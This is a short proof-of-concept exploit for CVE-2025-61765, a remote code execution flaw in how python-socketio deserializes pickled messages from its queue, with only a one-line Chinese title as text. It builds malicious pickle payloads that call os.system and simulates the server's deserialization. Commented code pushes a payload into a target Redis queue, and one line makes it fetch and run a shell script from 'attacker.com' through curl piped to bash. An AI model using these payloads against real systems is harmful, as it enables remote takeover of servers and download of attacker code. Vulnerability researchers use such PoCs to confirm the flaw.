CVE-2025-61765 python-socketio消息队列反序列化远程代码执行漏洞

# CVE-2025-61765 PoC - Malicious pickle payload for python-socketio RCE # This payload demonstrates how an attacker with access to the message queue # can craft a pickle payload to achieve RCE when deserialized by python-socketio server import pickle import os class MaliciousPicklePayload: """ Crafted pickle payload that exploits CVE-2025-61765. When python-socketio server calls pickle.loads() on this payload, arbitrary code will be executed via the __reduce__ method. """ def __reduce__(self): # Command to execute on the target server # In real attack scenario, this could be reverse shell, data exfiltration, etc. command = "id > /tmp/pwned.txt" return (os.system, (command,)) def generate_malicious_payload(command="id > /tmp/pwned.txt"): """ Generate a malicious pickle payload to be injected into the message queue (e.g., Redis) that python-socketio servers consume. """ class Exploit: def __reduce__(self): return (os.system, (command,)) payload = pickle.dumps(Exploit()) return payload def simulate_attack(): """ Simulate the attack scenario: 1. Attacker gains access to Redis message queue 2. Attacker injects malicious pickle payload into the queue 3. python-socketio server consumes the message and deserializes it 4. Arbitrary code execution occurs """ # Step 1: Generate malicious payload malicious_payload = generate_malicious_payload("whoami > /tmp/rce_result.txt") print(f"[*] Generated malicious pickle payload ({len(malicious_payload)} bytes)") # Step 2: In a real scenario, inject into Redis: # import redis # r = redis.Redis(host='target-redis-host', port=6379) # r.lpush('socketio_queue', malicious_payload) print("[*] Payload would be injected into Redis queue") # Step 3: Demonstrate deserialization (what happens on server side) print("[*] Simulating server-side pickle.loads() call...") try: result = pickle.loads(malicious_payload) print(f"[!] Code executed! Result: {result}") except Exception as e: print(f"[*] Deserialization result: {e}") print("[*] Check /tmp/rce_result.txt for evidence of code execution") if __name__ == "__main__": simulate_attack() # Example: Injecting into Redis message queue used by python-socketio # The python-socketio server uses Redis lists/pubsub for inter-server communication # When it receives a message, it calls pickle.loads() on the data # # import redis # r = redis.Redis(host='vulnerable-redis', port=6379, password='compromised_password') # payload = generate_malicious_payload("curl http://attacker.com/shell.sh | bash") # r.lpush('socketio', payload) # or r.publish('socketio-channel', payload)